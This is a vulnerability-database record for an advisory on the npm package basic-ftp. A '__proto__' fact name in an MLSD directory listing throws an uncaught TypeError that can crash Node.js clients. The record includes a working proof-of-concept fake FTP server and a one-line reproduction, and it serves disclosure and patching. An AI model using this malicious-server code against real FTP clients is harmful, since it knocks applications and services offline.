{"id":"CVE-2026-126345","kind":"vulnerability","aliases":["CVE-2026-126345","GHSA-5pm8-86m8-9m6r"],"related":[],"title":"basic-ftp: Uncaught TypeError in MLSD directory-listing parser via __proto__ fact name causes DoS in Client.list()","description":"### Summary\n\nbasic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server's response, with no validation. A directory-listing line containing the fact name \"__proto__\" resolves this lookup to Object.prototype (inherited, non-own, non-function) instead of undefined, so the \"not a function\" guard is bypassed and the code throws `TypeError: factHandler is not a function`.\n\nThis TypeError is not an FTPError, so it is not caught by Client.list()'s retry logic and propagates as a rejected promise out of list() and every API built on top of it (list, downloadToDir, uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client connects to — or any on-path attacker on a plaintext (non-TLS) FTP session — can crash the calling application by returning one crafted line in a directory listing. If the application does not wrap every one of these calls in try/catch, the rejection is unhandled and crashes the Node.js process (default behavior since Node 15).\n\n### Details\n\nFile: src/parseListMLSD.ts\n```\nconst factHandlersByName: {[key: string]: FactHandler} = {\n    \"size\": parseSize,\n    \"sizd\": parseSize,\n    \"unique\": (value, info) => { info.uniqueID = value },\n    \"modify\": (value, info) => { ... },\n    \"type\": (value, info) => { ... },\n    \"unix.mode\": (value, info) => { ... },\n    ...\n}\n\nexport function parseLine(line: string): FileInfo | undefined {\n    const [ packedFacts, name ] = splitStringOnce(line, \" \")\n    ...\n    const facts = packedFacts.split(\";\")\n    for (const fact of facts) {\n        const [ factName, factValue ] = splitStringOnce(fact, \"=\")\n        if (!factValue) { continue }\n        const factHandler = factHandlersByName[factName.toLowerCase()]   // <-- unsafe lookup\n        if (!factHandler) { continue }\n        const result = factHandler(factValue, info)                     // <-- throws here\n        ...\n    }\n    return info\n}\n```\nfactHandlersByName is a plain `{}` object literal, so it inherits from Object.prototype. Property access does not distinguish own keys from inherited ones. When factName.toLowerCase() === \"__proto__\", the bracket lookup factHandlersByName[\"__proto__\"] returns Object.prototype itself — a truthy, non-undefined value — so the `if (!factHandler) continue` guard does not fire. The code then tries to call Object.prototype as a function: `factHandler(factValue, info)`, which throws `TypeError: factHandler is not a function`.\n\nThis line runs inside parseList() (src/parseList.ts), called synchronously from a `.map()` over every line of the listing, which in turn is called from Client._requestListWithCommand() -> Client.list() (src/Client.ts). list()'s only error handling is:\n```\n    catch (err) {\n        const shouldTryNext = err instanceof FTPError\n        if (!shouldTryNext) { throw err }\n        lastError = err\n    }\n```\nA plain TypeError is not an FTPError, so it is immediately rethrown instead of being retried or suppressed, and the Promise returned by list() rejects with it.\n\nAffected call paths (all eventually call Client.list()):\n- Client.list()\n- Client.downloadToDir() / _downloadFromWorkingDir()\n- Client.clearWorkingDir()\n- Client.removeDir()\n\nOnly \"__proto__\" triggers the crash this way; other reserved Object.prototype property names tested (\"constructor\", \"toString\", \"hasOwnProperty\", \"valueOf\", \"__defineGetter__\") happen to resolve to actual functions on Object.prototype, so they are called without throwing (silently ineffective, not a crash). This confirms the root cause is the use of an unguarded object literal as a dictionary keyed by untrusted server input, rather than something specific to one property.\n\n### Proof of concept\n\nPrerequisites: Node.js, a clone/checkout of basic-ftp, `npm install` then `npm run buildOnly` (or `npx tsc`) to produce dist/.\n\nStep 1 — Minimal reproduction of the parser bug alone:\n\n    node -e '\n    const { parseList } = require(\"./dist/parseList\");\n    parseList(\"__proto__=x;type=file;size=10; evil.txt\");\n    '\n\nExpected result:\n    Uncaught TypeError: factHandler is not a function\n        at parseLine (.../dist/parseListMLSD.js:...)\n\nStep 2 — End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification:\n\n    Save as poc.js in the repo root and run `node poc.js`:\n\n    const net = require(\"net\")\n    const { Client } = require(\"./dist/index\")\n\n    const server = net.createServer(socket => {\n        socket.write(\"220 fake ftp ready\\r\\n\")\n        socket.on(\"data\", data => {\n            const cmd = data.toString().trim()\n            if (cmd.startsWith(\"USER\")) socket.write(\"230 ok\\r\\n\")\n            else if (cmd.startsWith(\"OPTS\") || cmd.startsWith(\"TYPE\") ||\n                     cmd.startsWith(\"STRU\") || cmd.startsWith(\"PBSZ\") ||\n                     cmd.startsWith(\"PROT\")) socket.write(\"200 ok\\r\\n\")\n            else if (cmd.startsWith(\"FEAT\")) socket.write(\"211-Features\\r\\n MLST type;size;\\r\\n211 End\\r\\n\")\n            else if (cmd.startsWith(\"EPSV\")) {\n                const dataServer = net.createServer(dsock => {\n                    // The malicious line: fact name \"__proto__\"\n                    dsock.end(\"__proto__=pwn;type=file;size=4; evil.txt\\r\\n\")\n                })\n                dataServer.listen(0, \"127.0.0.1\", () => {\n                    const p = dataServer.address().port\n                    socket.write(`229 Entering Extended Passive Mode (|||${p}|)\\r\\n`)\n                })\n            }\n            else if (cmd.startsWith(\"MLSD\") || cmd.startsWith(\"LIST\")) {\n                socket.write(\"150 Here comes the listing\\r\\n\")\n                setTimeout(() => socket.write(\"226 Listing complete\\r\\n\"), 50)\n            }\n            else socket.write(\"200 ok\\r\\n\")\n        })\n    })\n\n    server.listen(2121, \"127.0.0.1\", async () => {\n        const client = new Client()\n        try {\n            await client.access({ host: \"127.0.0.1\", port: 2121, user: \"a\", password: \"b\" })\n            const files = await client.list()\n            console.log(\"list() returned normally (unexpected):\", files)\n        } catch (err) {\n            console.log(\"client.list() threw:\", err.constructor.name, \"-\", err.message)\n        } finally {\n            client.close()\n            server.close()\n            process.exit(0)\n        }\n    })\n\nExpected output:\n\n    client.list() threw: TypeError - factHandler is not a function\n\nConfiguration notes:\n- No TLS, auth bypass, or special server config needed — this is a plain FTP (PASV/EPSV\n  text) session using the server's FEAT response to turn on MLSD, which is the common\n  path for any modern FTP server.\n- The same crash can be delivered via a LIST-fallback MLSD-shaped line too, since\n  parseList() auto-detects the format from the last listing line.\n- In a real application without a try/catch around list()/downloadToDir()/\n  clearWorkingDir()/removeDir(), this rejection is unhandled and terminates the\n  Node.js process by default (Node >=15 unhandledRejection behavior is \"throw\").\n\n### Impact\n\nType: Denial of Service (CWE-248: Uncaught Exception, enabled by CWE-1321-style unguarded dictionary lookup on an object literal).\n\nWho is impacted: Any application using basic-ftp's Client.list(), downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths), clearWorkingDir(), or removeDir() against a server that is malicious, compromised, or reachable by an on-path attacker on a non-TLS FTP session. No authentication to the target server is required beyond whatever credentials the application already uses, and no user interaction is required — a single crafted directory-listing line is sufficient.\n\nConfidentiality: None. Integrity: None. Availability: High — unhandled rejection crashes the Node.js process by default, taking down the whole application/service, not just the FTP operation.","summary":"basic-ftp's MLSD parser looks up fact handlers in a plain object, so a directory line naming the fact \"__proto__\" throws an uncaught TypeError. A malicious or on-path FTP server can make list() and related calls reject, which crashes the Node.js process if the rejection is unhandled.","severity":"medium","cvss":5.3,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"basic-ftp","fixed":["6.2.4"],"affected":"<= 6.2.3","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["basic-ftp","cwe-1321","cwe-248","ftp","node","npm","package"],"not_affected_if":["basic-ftp-not-used","tls-only-trusted-server"],"how_to_check":"- Run `npm ls basic-ftp` in the project to see the installed version.\n- Check that the installed basic-ftp is `6.2.4` or later.\n- Look for calls to `client.list()`, `downloadToDir()`, `uploadFromDir()`, `clearWorkingDir()` or `removeDir()` that are not wrapped in try/catch.","fix":"- basic-ftp: move to `6.2.4`","status":"open","published_at":"2026-11-12T21:42:12+00:00","first_seen_at":"2026-11-12T21:45:12+00:00","triaged_at":"2026-11-12T21:46:31+00:00","updated_at":"2026-11-12T21:46:31+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-12T21:46:31Z","model":"claude-haiku-5-5","output":{"fix":"- basic-ftp: move to `6.2.4`","reach":"network","title":"basic-ftp: crafted directory listing line crashes Node.js FTP client calls","impact":"low","summary":"basic-ftp's MLSD parser looks up fact handlers in a plain object, so a directory line naming the fact \"__proto__\" throws an uncaught TypeError. A malicious or on-path FTP server can make list() and related calls reject, which crashes the Node.js process if the rejection is unhandled.","audience":"developers","category":"package","nicknames":[],"who_cares":["node","basic-ftp","ftp","npm"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"Calling process crashes through an unhandled promise rejection","analyst_note":"Ecosystem: npm. Product name: basic-ftp.","how_to_check":"- Run `npm ls basic-ftp` in the project to see the installed version.\n- Check that the installed basic-ftp is `6.2.4` or later.\n- Look for calls to `client.list()`, `downloadToDir()`, `uploadFromDir()`, `clearWorkingDir()` or `removeDir()` that are not wrapped in try/catch.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["tls-only-trusted-server","basic-ftp-not-used"],"who_is_affected":"Any application that uses basic-ftp's list, downloadToDir, uploadFromDir, clearWorkingDir or removeDir against an FTP server that may be malicious or reachable by an on-path attacker on a plaintext session. Applications that wrap these calls in try/catch are less exposed to a process crash, but the call still fails. Applications that only talk to trusted FTP servers over TLS are lower risk.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"no","severity_if_unknown":"medium"},"cost_usd":0.001074,"input_tokens":7472,"output_tokens":653,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-126345':22A,30A '-1321':38B '-2026':21A,29A '-248':40B '/dist':602C '1':589C '15':275C '5pm8':25A '86m8':26A '9m6r':27A 'access':360C 'actual':522C 'affect':488C 'alon':596C 'api':203C 'applic':239C,251C 'attack':226C 'basic':2A,32A,35B,46B,98C,574C 'basic-ftp':1A,31A,34B,45B,97C,573C 'behavior':272C 'bracket':373C 'bug':595C 'buildon':581C 'built':204C 'bypass':165C 'call':84B,238C,259C,400C,422C,437C,489C,493C,529C 'catch':448C 'caught':186C 'caus':16A,541C 'clearworkingdir':212C 'client':218C 'client._requestlistwithcommand':439C 'client.clearworkingdir':498C 'client.downloadtodir':496C 'client.list':19A,188C,440C,494C,495C 'client.removedir':499C 'clone/checkout':571C 'code':168C,396C 'concept':567C 'confirm':538C 'connect':219C 'const':279C,309C,314C,318C,322C,330C,339C,450C,599C 'constructor':513C 'contain':138C 'continu':329C,338C,390C 'craft':243C 'crash':87B,236C,267C,504C,536C 'cve':20A,28A 'cwe':37B,39B 'default':271C 'definegett':517C 'detail':276C 'dictionari':552C 'direct':119C 'directori':9A,61B,103C,135C,247C 'directory-list':8A,102C,134C 'dist':587C 'distinguish':363C 'dos':17A 'downloadfromworkingdir':497C 'downloadtodir':210C 'e':598C 'err':449C,452C,458C,460C 'error':445C 'eventu':492C 'everi':202C,255C,428C 'export':302C 'fact':14A,53B,65B,110C,121C,140C,315C,319C,321C,326C 'fact-handl':109C 'facthandl':171C,283C,331C,337C,341C,389C,405C,411C 'facthandlersbynam':280C,332C,348C,375C 'factnam':323C 'factname.tolowercase':333C,370C 'factvalu':324C,328C,342C,406C 'file':277C 'fileinfo':307C 'fire':394C 'ftp':3A,33A,36B,41B,47B,77B,99C,126C,215C,233C,575C 'ftperror':181C,454C,467C 'function':112C,154C,162C,175C,303C,404C,415C,523C 'ghsa':24A 'ghsa-5pm8-86m8-9m6r':23A 'guard':163C,391C 'handl':446C 'handler':54B,111C 'happen':518C 'hasownproperti':515C 'immedi':471C 'ineffect':533C 'info':290C,295C,298C,301C,343C,347C,407C 'info.uniqueid':291C 'inherit':148C,356C,367C 'input':557C 'insid':419C 'instal':577C 'instanceof':453C 'instead':155C,473C 'key':118C,281C,365C,553C 'lasterror':459C 'line':62B,137C,244C,305C,313C,417C,429C 'list':10A,81B,104C,136C,200C,209C,248C,432C,442C,484C 'liter':117C,353C,549C 'logic':191C 'look':51B,107C 'lookup':145C,335C,374C 'make':80B 'malici':72B 'map':426C 'minim':590C 'mlsd':7A,49B,101C 'modifi':293C 'name':15A,63B,122C,141C,311C,511C 'node':42B,274C,597C 'node.js':89B,269C,569C 'non':150C,153C,231C,383C 'non-funct':152C 'non-own':149C 'non-tl':230C 'non-undefin':382C 'npm':43B,576C,579C 'npx':583C 'object':58B,116C,352C,548C 'object.prototype':147C,358C,378C,401C,509C,525C 'on-path':74B,223C 'one':242C,256C,368C,563C 'packag':44B 'packedfact':310C 'packedfacts.split':316C 'parselin':304C 'parselist':420C,600C 'parser':11A,50B,105C,594C 'parses':285C,287C 'path':76B,225C,490C 'plain':57B,115C,351C,462C 'plaintext':229C 'prerequisit':568C 'process':90B,270C 'produc':586C 'promis':197C,481C 'proof':565C 'propag':193C 'properti':359C,510C,564C 'proto':13A,66B,142C,371C,376C,501C 'rather':558C 'reject':85B,93B,196C,263C,485C 'relat':83B 'removedir':213C 'reproduct':591C 'requir':601C 'reserv':508C 'resolv':143C,520C 'respons':129C 'result':340C 'rethrown':472C 'retri':190C,476C 'return':241C,346C,377C,482C 'root':540C 'run':418C,580C 'server':78B,127C,216C,556C 'session':234C 'shouldtrynext':451C,456C 'silent':532C 'sinc':273C 'sizd':286C 'size':284C 'someth':560C 'specif':561C 'splitstringonc':312C,325C 'src/client.ts':441C 'src/parselist.ts':421C 'src/parselistmlsd.ts':106C,278C 'step':588C 'string':282C,306C 'summari':96C 'suppress':478C 'synchron':423C 'taken':123C 'test':512C 'throw':67B,169C,344C,409C,457C,531C 'tls':232C 'top':206C 'tostr':514C 'tri':398C 'trigger':502C 'truthi':381C 'try/catch':261C 'tsc':584C 'turn':435C 'type':296C 'typeerror':5A,70B,170C,177C,410C,463C 'uncaught':4A,69B 'undefin':157C,308C,384C 'unguard':547C 'unhandl':95B,265C 'uniqu':288C 'unix.mode':299C 'unsaf':334C 'untrust':555C 'uploadfromdir':211C 'use':544C 'valid':132C 'valu':289C,292C,294C,297C,300C,385C 'valueof':516C 'via':12A 'way':506C 'without':530C 'wrap':254C","nicknames":[],"mitigations":[],"who_affected":"Any application that uses basic-ftp's list, downloadToDir, uploadFromDir, clearWorkingDir or removeDir against an FTP server that may be malicious or reachable by an on-path attacker on a plaintext session. Applications that wrap these calls in try/catch are less exposed to a process crash, but the call still fails. Applications that only talk to trusted FTP servers over TLS are lower risk.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["basicftp"],"ptokens":["basic","ftp"],"labels":["basicftp","cwe1321","cwe248","ftp","medium","node","npm","package"],"campaign_type":null,"search_a":"'-126345':22A,30A '-2026':21A,29A '5pm8':25A '86m8':26A '9m6r':27A 'basic':2A,32A 'basic-ftp':1A,31A 'caus':16A 'client.list':19A 'cve':20A,28A 'directori':9A 'directory-list':8A 'dos':17A 'fact':14A 'ftp':3A,33A 'ghsa':24A 'ghsa-5pm8-86m8-9m6r':23A 'list':10A 'mlsd':7A 'name':15A 'parser':11A 'proto':13A 'typeerror':5A 'uncaught':4A 'via':12A","search_b":"'-1321':38B '-248':40B 'basic':35B,46B 'basic-ftp':34B,45B 'call':84B 'crash':87B 'cwe':37B,39B 'directori':61B 'fact':53B,65B 'ftp':36B,41B,47B,77B 'handler':54B 'line':62B 'list':81B 'look':51B 'make':80B 'malici':72B 'mlsd':49B 'name':63B 'node':42B 'node.js':89B 'npm':43B 'object':58B 'on-path':74B 'packag':44B 'parser':50B 'path':76B 'plain':57B 'process':90B 'proto':66B 'reject':85B,93B 'relat':83B 'server':78B 'throw':67B 'typeerror':70B 'uncaught':69B 'unhandl':95B","search_c":"'/dist':602C '1':589C '15':275C 'access':360C 'actual':522C 'affect':488C 'alon':596C 'api':203C 'applic':239C,251C 'attack':226C 'basic':98C,574C 'basic-ftp':97C,573C 'behavior':272C 'bracket':373C 'bug':595C 'buildon':581C 'built':204C 'bypass':165C 'call':238C,259C,400C,422C,437C,489C,493C,529C 'catch':448C 'caught':186C 'caus':541C 'clearworkingdir':212C 'client':218C 'client._requestlistwithcommand':439C 'client.clearworkingdir':498C 'client.downloadtodir':496C 'client.list':188C,440C,494C,495C 'client.removedir':499C 'clone/checkout':571C 'code':168C,396C 'concept':567C 'confirm':538C 'connect':219C 'const':279C,309C,314C,318C,322C,330C,339C,450C,599C 'constructor':513C 'contain':138C 'continu':329C,338C,390C 'craft':243C 'crash':236C,267C,504C,536C 'default':271C 'definegett':517C 'detail':276C 'dictionari':552C 'direct':119C 'directori':103C,135C,247C 'directory-list':102C,134C 'dist':587C 'distinguish':363C 'downloadfromworkingdir':497C 'downloadtodir':210C 'e':598C 'err':449C,452C,458C,460C 'error':445C 'eventu':492C 'everi':202C,255C,428C 'export':302C 'fact':110C,121C,140C,315C,319C,321C,326C 'fact-handl':109C 'facthandl':171C,283C,331C,337C,341C,389C,405C,411C 'facthandlersbynam':280C,332C,348C,375C 'factnam':323C 'factname.tolowercase':333C,370C 'factvalu':324C,328C,342C,406C 'file':277C 'fileinfo':307C 'fire':394C 'ftp':99C,126C,215C,233C,575C 'ftperror':181C,454C,467C 'function':112C,154C,162C,175C,303C,404C,415C,523C 'guard':163C,391C 'handl':446C 'handler':111C 'happen':518C 'hasownproperti':515C 'immedi':471C 'ineffect':533C 'info':290C,295C,298C,301C,343C,347C,407C 'info.uniqueid':291C 'inherit':148C,356C,367C 'input':557C 'insid':419C 'instal':577C 'instanceof':453C 'instead':155C,473C 'key':118C,281C,365C,553C 'lasterror':459C 'line':137C,244C,305C,313C,417C,429C 'list':104C,136C,200C,209C,248C,432C,442C,484C 'liter':117C,353C,549C 'logic':191C 'look':107C 'lookup':145C,335C,374C 'map':426C 'minim':590C 'mlsd':101C 'modifi':293C 'name':122C,141C,311C,511C 'node':274C,597C 'node.js':269C,569C 'non':150C,153C,231C,383C 'non-funct':152C 'non-own':149C 'non-tl':230C 'non-undefin':382C 'npm':576C,579C 'npx':583C 'object':116C,352C,548C 'object.prototype':147C,358C,378C,401C,509C,525C 'on-path':223C 'one':242C,256C,368C,563C 'packedfact':310C 'packedfacts.split':316C 'parselin':304C 'parselist':420C,600C 'parser':105C,594C 'parses':285C,287C 'path':225C,490C 'plain':115C,351C,462C 'plaintext':229C 'prerequisit':568C 'process':270C 'produc':586C 'promis':197C,481C 'proof':565C 'propag':193C 'properti':359C,510C,564C 'proto':142C,371C,376C,501C 'rather':558C 'reject':196C,263C,485C 'removedir':213C 'reproduct':591C 'requir':601C 'reserv':508C 'resolv':143C,520C 'respons':129C 'result':340C 'rethrown':472C 'retri':190C,476C 'return':241C,346C,377C,482C 'root':540C 'run':418C,580C 'server':127C,216C,556C 'session':234C 'shouldtrynext':451C,456C 'silent':532C 'sinc':273C 'sizd':286C 'size':284C 'someth':560C 'specif':561C 'splitstringonc':312C,325C 'src/client.ts':441C 'src/parselist.ts':421C 'src/parselistmlsd.ts':106C,278C 'step':588C 'string':282C,306C 'summari':96C 'suppress':478C 'synchron':423C 'taken':123C 'test':512C 'throw':169C,344C,409C,457C,531C 'tls':232C 'top':206C 'tostr':514C 'tri':398C 'trigger':502C 'truthi':381C 'try/catch':261C 'tsc':584C 'turn':435C 'type':296C 'typeerror':170C,177C,410C,463C 'undefin':157C,308C,384C 'unguard':547C 'unhandl':265C 'uniqu':288C 'unix.mode':299C 'unsaf':334C 'untrust':555C 'uploadfromdir':211C 'use':544C 'valid':132C 'valu':289C,292C,294C,297C,300C,385C 'valueof':516C 'way':506C 'without':530C 'wrap':254C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-10-30T06:49:22+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-5pm8-86m8-9m6r","url":"https://github.com/advisories/GHSA-5pm8-86m8-9m6r","severity":"medium","published_at":"2026-11-12T21:42:12+00:00","modified_at":"2026-11-12T21:42:13+00:00","first_seen_at":"2026-11-12T21:45:12+00:00","fetched_at":"2026-11-12T21:55:31+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-126345","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126345","severity":null,"published_at":"2026-11-12T22:19:19+00:00","modified_at":"2026-11-12T22:19:19+00:00","first_seen_at":"2026-11-12T22:40:37+00:00","fetched_at":"2026-11-12T22:40:38+00:00","note":null}],"documents":[{"id":139461,"url":"https://api.github.com/repos/patrickjuchli/basic-ftp/security-advisories/GHSA-5pm8-86m8-9m6r","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":139462,"url":"https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-10-30T06:49:22+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":139463,"url":"https://github.com/patrickjuchli/basic-ftp/commit/a22664a45d889f7d281e5bdd212c68c0a58d0ae6","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":139464,"url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}